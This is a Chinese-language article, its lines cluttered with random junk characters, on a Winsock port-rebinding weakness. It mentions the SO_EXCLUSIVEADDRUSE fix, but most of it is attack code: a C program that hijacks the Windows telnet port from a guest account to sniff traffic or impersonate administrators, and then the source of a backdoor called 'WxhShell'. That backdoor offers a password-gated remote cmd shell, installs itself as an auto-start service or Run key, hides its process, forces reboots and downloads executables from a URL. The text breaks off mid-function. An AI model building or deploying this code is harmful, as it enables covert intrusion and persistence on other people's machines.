在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
fW=vN0Z s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
?>/9ae^Bw 7SJR_G6,{ saddr.sin_family = AF_INET;
Z_;!f}X 8}K^o>J&K saddr.sin_addr.s_addr = htonl(INADDR_ANY);
CuT50N;tk 38#Zlcf bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
8_Nyy/K#F \@B'f 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
G_]zymXQ o]M1$)>b+ 这意味着什么?意味着可以进行如下的攻击:
lc[)O3,,B ]_(J8v 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
uL{CUt
/*2)|2w 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
IqAML|C [9^lAhX 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
("KtJ Bwl@Muw 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
6UKZ0~R Jo''yrJpB 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Tx>V$+al SA?lDRF 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
< Dt/JA(p 19b@QgfWpb 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
es^@C9qt 74r$)\q #include
FrC)2wX #include
P W_"JZ #include
wZfY~ #include
fSVb.MZa7 DWORD WINAPI ClientThread(LPVOID lpParam);
t0_4jVt int main()
sBk|KG {
M}e}3w WORD wVersionRequested;
$0Ys{m DWORD ret;
)G),iy WSADATA wsaData;
Cto>~pV BOOL val;
-}u1ZEND SOCKADDR_IN saddr;
GL%)s?
SOCKADDR_IN scaddr;
)FN\jo!!. int err;
iNr&; SOCKET s;
wk#cJ`wG; SOCKET sc;
n^|SN9_r int caddsize;
y$+=>p|d.^ HANDLE mt;
SQ&}18Z~ DWORD tid;
,rV;T";r wVersionRequested = MAKEWORD( 2, 2 );
{53|X=D64 err = WSAStartup( wVersionRequested, &wsaData );
U(gYx@ if ( err != 0 ) {
Eh^gR`I printf("error!WSAStartup failed!\n");
5"y)<VLJX return -1;
w75Ro6y }
=h xyR; saddr.sin_family = AF_INET;
#jJ0Mxg >0_{80bdO //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Oy b0t|do+ =ld!=II saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
$_3)m saddr.sin_port = htons(23);
6"?#E[ #[ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
X.sOZb?$ {
g&{CEfw& printf("error!socket failed!\n");
SAiaC _ return -1;
V qcw2 }
*mH&Gn1 val = TRUE;
r
KYQ 8T //SO_REUSEADDR选项就是可以实现端口重绑定的
T% GR{mp if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
<Sr:pm {
$4*gi& printf("error!setsockopt failed!\n");
P_5 G'[ return -1;
Cn0s?3Fm }
HQ wrb HS //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
=d+`xN* //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
(|#%omLL //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
MV w.Fl R13V}yL if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
U&43/;<, {
X"vDFE`? ret=GetLastError();
k{O bm
g printf("error!bind failed!\n");
kZhd^H. return -1;
IwBO#HR~) }
D<:zw/IRE listen(s,2);
X,c`,B03 while(1)
"_2;+@+ {
YeVo=hYH@ caddsize = sizeof(scaddr);
g6+5uvpd //接受连接请求
F("|SOhc sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
AQ0zsy if(sc!=INVALID_SOCKET)
=J"c'Z>. {
aK_k'4YTm mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
}u1h6rd ` if(mt==NULL)
'Fc$?$c\ {
byTHSRt printf("Thread Creat Failed!\n");
gLY15v4? break;
@=%g{ }
6Eus_aP }
jcjl q-x CloseHandle(mt);
7{l~\]6d }
C4GkFD
closesocket(s);
ta<8~n^? WSACleanup();
+z0s)HU>j return 0;
cj^hwtx }
u{w,y.l1h DWORD WINAPI ClientThread(LPVOID lpParam)
0x<G\ l4 {
Q5l+- SOCKET ss = (SOCKET)lpParam;
%eh.@8GL` SOCKET sc;
]826k pq_ unsigned char buf[4096];
y2mSPLw SOCKADDR_IN saddr;
F>5b[q6~4 long num;
\/C5L:|p_ DWORD val;
4CtWEq DWORD ret;
yu@Pd3 //如果是隐藏端口应用的话,可以在此处加一些判断
`~_H\_JpO //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
|WpJen*?Y saddr.sin_family = AF_INET;
\j-:5M#m saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
o?cNH saddr.sin_port = htons(23);
jP0TyhM if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
eKLE^`2*@ {
l_8ibLyo printf("error!socket failed!\n");
F@#p return -1;
.XVL JJ# }
4#.Q|vyl]" val = 100;
mg>wv[ 7 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
P!IXcPKW53 {
2aX{r/Lc ret = GetLastError();
)=bW\=[8 return -1;
yhI;FNSf }
]rNxvFN*j if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
lgD% {
t@a&& ret = GetLastError();
:t;i2Ck return -1;
th<>%e}5c }
Oqt{ uTI~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
d(@ ov^e- {
yW\kmv.O printf("error!socket connect failed!\n");
f*IvaY closesocket(sc);
_ysakn closesocket(ss);
!qHB?] return -1;
yjq|8.L[
G }
0LSJQ9\p while(1)
6#.9T;& {
H<;~u:;8Q //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
]m7x&N2 //如果是嗅探内容的话,可以再此处进行内容分析和记录
[wnaF|h //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
]=]MJ3_7 num = recv(ss,buf,4096,0);
ykH@kv Qt if(num>0)
hy@b/Y![M send(sc,buf,num,0);
M;NIcM else if(num==0)
s?&S<k-=fr break;
Xy`'h5
num = recv(sc,buf,4096,0);
R3LIN-g( if(num>0)
ZR"qrCSw` send(ss,buf,num,0);
fC[~X[H else if(num==0)
)O$S3ojZ break;
Z c#Jb }
M _lLP8W} closesocket(ss);
JiuA"ks) closesocket(sc);
5*Qzw[[= return 0 ;
Y7 K2@257 }
k7L4~W rz2,42H] ${}9/(x/^ ==========================================================
2- (}=N B@*!>R 下边附上一个代码,,WXhSHELL
-v|lM8 k,; (`L ==========================================================
*J
>6i2M,u %$Xt1ub6( #include "stdafx.h"
<b\8<mTr <^'IC9D] #include <stdio.h>
}_mMQg2>= #include <string.h>
o>T+fBHE #include <windows.h>
y\[* mgl: #include <winsock2.h>
,2i1 4H #include <winsvc.h>
Tj\hAcD #include <urlmon.h>
Fg}t{e]3a ]scr@e #pragma comment (lib, "Ws2_32.lib")
'A\0^EvVv #pragma comment (lib, "urlmon.lib")
O*B9Bah Snp(&TD<< #define MAX_USER 100 // 最大客户端连接数
~V?\@R:g #define BUF_SOCK 200 // sock buffer
}<w9Jfr"X #define KEY_BUFF 255 // 输入 buffer
%qqeL tB4yj_ZF #define REBOOT 0 // 重启
qPJSVo #define SHUTDOWN 1 // 关机
%K06owV(S) 0]$-}AYM #define DEF_PORT 5000 // 监听端口
,t9CP -mo4`F #define REG_LEN 16 // 注册表键长度
-7o-d-d F #define SVC_LEN 80 // NT服务名长度
ac966<# _\=
/~>Xl // 从dll定义API
4cJ/XgX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
|z&7KoYK' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
q|IU+r:! 3 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
RzFxO typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
>Rb
jdM5K4 0dI7{o;<| // wxhshell配置信息
,OP\^ struct WSCFG {
4!-R&<TLve int ws_port; // 监听端口
Z@$'fX?~9 char ws_passstr[REG_LEN]; // 口令
bk i:u int ws_autoins; // 安装标记, 1=yes 0=no
9>vB,8 char ws_regname[REG_LEN]; // 注册表键名
&Fjyi"8(r char ws_svcname[REG_LEN]; // 服务名
: t75iB= char ws_svcdisp[SVC_LEN]; // 服务显示名
aD6!x3c/ char ws_svcdesc[SVC_LEN]; // 服务描述信息
7 n^1H[q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
cS@p`A7Tpo int ws_downexe; // 下载执行标记, 1=yes 0=no
-Ekf T_ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
*"6A>:rQs char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=4&"fZ"v ]@}hyM[D; };
+%~me? sEZ2DnDI // default Wxhshell configuration
|?MD>Pez struct WSCFG wscfg={DEF_PORT,
#SjCKQ~ "xuhuanlingzhe",
ed3wj3@ 1,
%\)AT" "Wxhshell",
}g|9P SbJ "Wxhshell",
/ T_v8{D "WxhShell Service",
0 N0< 4b "Wrsky Windows CmdShell Service",
O#>,vf$ "Please Input Your Password: ",
:!fY;c? 1,
1]A\@( "
http://www.wrsky.com/wxhshell.exe",
CP$,fj "Wxhshell.exe"
~3-+~y=o~ };
?[WUix; 6@FxPi9|# // 消息定义模块
k)8*d{ * char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
YfseX;VX char *msg_ws_prompt="\n\r? for help\n\r#>";
)|5mW char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
=KD[#au6a char *msg_ws_ext="\n\rExit.";
t#-4edB, char *msg_ws_end="\n\rQuit.";
+Q[SddI char *msg_ws_boot="\n\rReboot...";
0Jd>V char *msg_ws_poff="\n\rShutdown...";
Z[,,(M char *msg_ws_down="\n\rSave to ";
h=n\c6Q -7J~^m2x char *msg_ws_err="\n\rErr!";
o$7UWKW8 char *msg_ws_ok="\n\rOK!";
*TCV}=V G <KStlfX char ExeFile[MAX_PATH];
d`j<Bbf- int nUser = 0;
r?pFc3~N HANDLE handles[MAX_USER];
Z-" NLwt[ int OsIsNt;
iuM ,aF rsw=a_S SERVICE_STATUS serviceStatus;
x8wsx
F SERVICE_STATUS_HANDLE hServiceStatusHandle;
w^7[4u4 X76rme // 函数声明
_6]CT0 int Install(void);
-&) int Uninstall(void);
,zJ:a>v int DownloadFile(char *sURL, SOCKET wsh);
-b?s\X int Boot(int flag);
hQvI} void HideProc(void);
W* n|T{n int GetOsVer(void);
/R6\_oM int Wxhshell(SOCKET wsl);
.R@XstQ
void TalkWithClient(void *cs);
}wJH@'0+ int CmdShell(SOCKET sock);
0wF)bQv1 int StartFromService(void);
GW7+# int StartWxhshell(LPSTR lpCmdLine);
X]\; f .hoVy*I VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
(#qQ;ch VOID WINAPI NTServiceHandler( DWORD fdwControl );
4CS$%Cu\?w [g=4'4EZc // 数据结构和表定义
8M BY3F SERVICE_TABLE_ENTRY DispatchTable[] =
wARd^Iw {
+vV?[e {wscfg.ws_svcname, NTServiceMain},
0[8uuqV[cB {NULL, NULL}
fN9uSnu
};
TIF =fQ e#WASHZN // 自我安装
p`!<yq2_ int Install(void)
GK3cQw {
:01B)~^ char svExeFile[MAX_PATH];
@Yw42`>!s HKEY key;
e{^lD.E strcpy(svExeFile,ExeFile);
_5OxESE bJeF1LjS // 如果是win9x系统,修改注册表设为自启动
Sg\+al7 if(!OsIsNt) {
ndk~(ex|j if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
wawJZ+V RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
lt\Bm<"z!1 RegCloseKey(key);
&F'n
>QT9q if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M`)3(|4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
B@' OUcUR RegCloseKey(key);
[3x*47o "z return 0;
20:![/7:! }
<" 0b8 Z }
!|mzu1S }
6;M{suG| else {
_~2o f%q ? // 如果是NT以上系统,安装为系统服务
SI=7$8T5=5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Ldy(<cN if (schSCManager!=0)
ITz+O=I4R] {
3XncEdy_ SC_HANDLE schService = CreateService
BJp~/H`vd (
^t`0ul]c schSCManager,
y6H`FFqK wscfg.ws_svcname,
{c<cSrfI wscfg.ws_svcdisp,
]v+yeGIK S SERVICE_ALL_ACCESS,
L_M(Lj SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
bJw{ U. SERVICE_AUTO_START,
w5t|C> SERVICE_ERROR_NORMAL,
.B!
Z0 svExeFile,
{CX06BP NULL,
e=_Ng
j) NULL,
tK6=F63e NULL,
jFI`CA6P NULL,
bH%d* NULL
{.Brh"yC );
I:;umyRH if (schService!=0)
?0:=+%. {
[88PCA: CloseServiceHandle(schService);
EbJc%%c CloseServiceHandle(schSCManager);
XXXQA Y-,C strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
vu:] [2"0 strcat(svExeFile,wscfg.ws_svcname);
o,/w E if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
z0&Y_Up+5 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
,y}~rYsP% RegCloseKey(key);
\Y6r
!D9 return 0;
6yC4rX!a }
RQ 8;_)% }
Lx|0G $ CloseServiceHandle(schSCManager);
#W4
" ^#2 }
T5dnj&N ] }
0u
+_D8G cXb&Rm'L return 1;
jZiz 0[ }
L08lkq, w=5<mw // 自我卸载
mgb+HNH%q\ int Uninstall(void)
h:KEhj\d? {
!bCaDTz HKEY key;
)`mBvS.} Sf2xI' if(!OsIsNt) {
%Y9CZRY9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
vX&W;& RegDeleteValue(key,wscfg.ws_regname);
x]IJ; RegCloseKey(key);
gO m8 O, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{/qQ=$t RegDeleteValue(key,wscfg.ws_regname);
O.jCDAP RegCloseKey(key);
a.a
,_ return 0;
;R$2+9 }
!%N@>[ }
VL|Z+3L }
y<c7RK] else {
3`Xzp dq0!.gBT2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
/<"ok;Pu7 if (schSCManager!=0)
!1Ht{cA0 {
wEQZ9?\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
msQ?V&+< if (schService!=0)
LG??Q+`l {
xl@~K^c] if(DeleteService(schService)!=0) {
bL5u;iy) CloseServiceHandle(schService);
Tl1H2s=G- CloseServiceHandle(schSCManager);
'LR|DS[Ne return 0;
fm!\**Q1 }
|OuIQhoE CloseServiceHandle(schService);
_ER. AKY }
`A- CloseServiceHandle(schSCManager);
U/_hH*N"! }
N*)O_Ki }
NCgKWyRR ,;f5OUl?[ return 1;
5<P6PHdY }
*U`R<mV\ AS'+p %( // 从指定url下载文件
8isQL int DownloadFile(char *sURL, SOCKET wsh)
bCiyz+VyJn {
*;U<b HRESULT hr;
4[)tO-v:Y char seps[]= "/";
69`*u<{PC char *token;
)"7z'ar
char *file;
x~K79Mya char myURL[MAX_PATH];
l hST%3Ld char myFILE[MAX_PATH];
tYhcoV g{f7} gTG strcpy(myURL,sURL);
!7p&n3dz token=strtok(myURL,seps);
QlS_{XV while(token!=NULL)
s'bTP(wl9 {
5=R]1YI~$ file=token;
-aV(6i*n token=strtok(NULL,seps);
ZZi|0dG4; }
EK&0Cn3z )JJF}m= GetCurrentDirectory(MAX_PATH,myFILE);
vin3
i&k strcat(myFILE, "\\");
Eu%E2A|`I strcat(myFILE, file);
(6b0rqPF send(wsh,myFILE,strlen(myFILE),0);
/U`p|M; send(wsh,"...",3,0);
}daU/ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
Wfy+9"-;s if(hr==S_OK)
^x_$%8 return 0;
E'NS$,h else
2jxIr-a1G return 1;
}(,{^".[} h\Q@zR*0a }
0& ?L%Y M27H{}v // 系统电源模块
u4bVp+ int Boot(int flag)
qh6rMqq {
WdB\n/BWB HANDLE hToken;
Xz9[0;Q TOKEN_PRIVILEGES tkp;
>?6HUUQ JpxQS~VX if(OsIsNt) {
GRaU]Z]ck OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
g's!\kr LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
~Yc!~Rz tkp.PrivilegeCount = 1;
D4uAwmc tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
V^rL AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5=%KK3 if(flag==REBOOT) {
iio-RT?! if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Kmw #Q` return 0;
.Lu3LVS }
*z.rOY=
8 else {
}D.\2x(J if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
X5)(,036 return 0;
Kr;=4xg= }
G*jq5_6 }
+L@\/=;G else {
L27WD m^) if(flag==REBOOT) {
) .KMZ] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
`zB bB^\`W return 0;
/)kx`G_ }
PB!XApTb else {
y,bDi9*| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
:8HVq*itS return 0;
{m@tt{% }
o8v,178 }
|~PaCw8-ge nF<xJs return 1;
uPjp5;V }
`uZMln @ f1;@a>X
// win9x进程隐藏模块
FCWk8/ void HideProc(void)
pjs4FZ`Pd; {
0s\ -iub=d X8-x$07) HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Xo&\~b#- if ( hKernel != NULL )
YD0hDp {
VR\}*@pNp pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
M"bG(a(6: ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
vU]n0)<KB FreeLibrary(hKernel);
@LSh=o+ }
u[oV
Jvc T7Y}v,+- return;
]>Gi_20*. }
;NrPMz 1iNMgA // 获取操作系统版本
5 jUy[w @ int GetOsVer(void)
D$*o}*mb {
w7&.Uqjf OSVERSIONINFO winfo;
WglpWp) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
&%;n9K GetVersionEx(&winfo);
o*ucw3s> if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
4nQ5zwiV return 1;
M ?AX:0 else
8FZC0j.^DH return 0;
s@{~8cHgU }
^E:-Uy
ByO?qft>u // 客户端句柄模块
57 Bx- int Wxhshell(SOCKET wsl)
3,X8 5`v^ {
CC;^J-h/ SOCKET wsh;
bN03}&I struct sockaddr_in client;
D.|r
[c DWORD myID;
A*A/30o|R 3vjOfr` while(nUser<MAX_USER)
xUCq%r_ {
DdUw~n, int nSize=sizeof(client);
*?]<=IV? wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
c b&Yf1 if(wsh==INVALID_SOCKET) return 1;
/&_q"y9 BG=
J8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
9I;~P & if(handles[nUser]==0)
wf &Jd:)4t closesocket(wsh);
h/5S2EB0!O else
I,`;#Q)nx nUser++;
HtiIg a 7 }
eU,FYJt9 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
K"&^/[vMB c:&8B/ return 0;
\7>*ULP }
S' kgpF"bm O`"~AY& // 关闭 socket
+!E9$U>6% void CloseIt(SOCKET wsh)
]!@=2kG4 {
RA[%8Rh) closesocket(wsh);
12m-$/5n+ nUser--;
X!mJUDzh] ExitThread(0);
u[Si=)`VPk }
`JpFqZ'58 6vR6=@(`> // 客户端请求句柄
}qhYHC void TalkWithClient(void *cs)
-aS@y.z {
QB!_z4UJ_; 3\
,t_6} SOCKET wsh=(SOCKET)cs;
x[Hx.G}5+ char pwd[SVC_LEN];
peT91b char cmd[KEY_BUFF];
_ DT,iF*6 char chr[1];
dJ Q K|/ int i,j;
W5= j&&|! O9/)_:Wdh while (nUser < MAX_USER) {
.{*l, M\ if(wscfg.ws_passstr) {
-!\%##r7~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
P=KhR&gwV~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
x<Gjr} //ZeroMemory(pwd,KEY_BUFF);
NN1}P'6Ha i=0;
m-ibS: while(i<SVC_LEN) {
UZrEFpi O(!;7v} // 设置超时
h6^|f%\w*i fd_set FdRead;
sgGA0af struct timeval TimeOut;
a0gg<Ml FD_ZERO(&FdRead);
;<B FD_SET(wsh,&FdRead);
s%`l>#H TimeOut.tv_sec=8;
VHMQY*lk TimeOut.tv_usec=0;
sQkijo. int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
s-+-?$K if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
C.ji]P# H!u8+ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
[fV"tf; pwd
=chr[0]; Mj6,VD9L
if(chr[0]==0xd || chr[0]==0xa) { (a8iCci:
pwd=0; 2[uFAgf@
break; G.~Q2O#T
} REE.8_
i++; !ehjLFS? _
} 1iLo$
2IRARZ,3
// 如果是非法用户,关闭 socket ?[m1?
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); AWx@Z7\z"g
} k{{3nenAG
KV|D]}
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); oy5K*
}
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Skg/iH"(
zow8 Q6f
while(1) { V|kN 1
A
fpf,gb8[$n
ZeroMemory(cmd,KEY_BUFF); :Dw_$
LjE3|+pJ
// 自动支持客户端 telnet标准 G?=&\fg_:
j=0; jll:Rh(b
while(j<KEY_BUFF) { ,>7dIJqzw
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "0[`U(/
cmd[j]=chr[0]; a^@.C5
if(chr[0]==0xa || chr[0]==0xd) { AG9DJ{T
cmd[j]=0; )UF'y{K}
break; u/6if9B
} 9N)I\lcY
j++; Qkx*T9W
} yq k8)\p
F0z7".)
// 下载文件 .'_}:~
if(strstr(cmd,"http://")) { : slO0
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 9?hZf$z
if(DownloadFile(cmd,wsh)) jS[=Zx`
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nr `R3(X
else LO)!Fj4|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y
z&!0Hfd
} d7[^pN
else { %aMC[i
G$V=\60a-
switch(cmd[0]) {
`x#S.b
.24z+|j
// 帮助 av|T|J/(
case '?': { FGHCHSqLq
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2&n6:"u|
break; YX-j|m|
} X5VNj|IE
// 安装 JfSe;
v
case 'i': { ox&?`DO
if(Install()) eS@j? Y0y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8P-ay<6
else `vAcCahM
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rDbtT*vN
break; JG'%HJ"D
} i]?
Eq?k
// 卸载 5;" $X 1{
case 'r': { E~fb#6
if(Uninstall()) gggD "alDx
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2XeyNX
else |e2s\?nB0S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m!w|~Rk
break; ' *a}*(0OA
} W-#DEU 7_
// 显示 wxhshell 所在路径 wzju)q S
case 'p': { XF)N_}X^
char svExeFile[MAX_PATH]; 6d;}mhH
strcpy(svExeFile,"\n\r"); J QnaXjW2
strcat(svExeFile,ExeFile); O{~Xp!QQt
send(wsh,svExeFile,strlen(svExeFile),0); G>0d^bx;E
break; P4_B.5rrJ
} hN!;Tny
// 重启 L +Uq4S^
case 'b': { T*%GeY
[
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CE96e y
if(Boot(REBOOT)) 9]l I?j]o
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6_QAE6A
else { ~&T U
closesocket(wsh); iD|~$<9o
ExitThread(0); '%ilF1#
} bS~Y_]B
break; b:hta\%/2
} ydO+=R0M
// 关机 EF\OM?R
case 'd': { WXmfh
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); T\.(e*hC
if(Boot(SHUTDOWN)) QCZ88\jX[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GLecBF+>F
else {
2hF^U+I}
closesocket(wsh); 4>V@+#Ec5
ExitThread(0); 5wx~QV=Hh
} 7{O
iV}]"
break; Z8bg5%
} I]W7FZ=o
// 获取shell 7afG4
(<k
case 's': { U?f-/@fc
CmdShell(wsh); 83R s1}*
closesocket(wsh); f|w;u!U(
ExitThread(0); AP,ZMpw
break; E!1\9wzM{
} ri8=u$!
// 退出 9MZ)-
case 'x': { hDB(y4/
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3WQa^'u
CloseIt(wsh); uGC5XX^
break; %\48hSe
} TCRTC0_}k
// 离开 2yn"K|
case 'q': { E-C]<{`O
send(wsh,msg_ws_end,strlen(msg_ws_end),0); %M1l[\N
closesocket(wsh); P7=`P
WSACleanup(); ef '?O
exit(1); =l/Dc=[
break; &gr 8;O:0
} "A+7G5
} 'a+^= c
} vA_,TS#Bo
i4i9EvWp
// 提示信息 U&])ow):
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !;&\n3-W
} PVlCj
} o5&b'WUJ=
:
pUu_
return; .tG3g:
} ,hI$nF0}p
vFdI?(c-
// shell模块句柄 V':A!
int CmdShell(SOCKET sock) 3GE;:;8B
{ eEVB
STARTUPINFO si; '9WTz(0?
ZeroMemory(&si,sizeof(si)); Yl&[_
l
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d"?"(Q_8n
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; m85ZcyW1T
PROCESS_INFORMATION ProcessInfo; O-V]I0
char cmdline[]="cmd"; Yh1nXkA!V
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Q<AOc\oO
return 0; ~HGSA(
} SF;\*]["f
zW#5 /*@
// 自身启动模式 P-2DBNB7
int StartFromService(void) EoPvF`T
{ ^$'z#ZN1
typedef struct auAz>6L
{ MnFrQC
DWORD ExitStatus; hu0z
36
DWORD PebBaseAddress; _J,rql@nG<
DWORD AffinityMask; .qohHJ&
DWORD BasePriority; na
$MR3@e
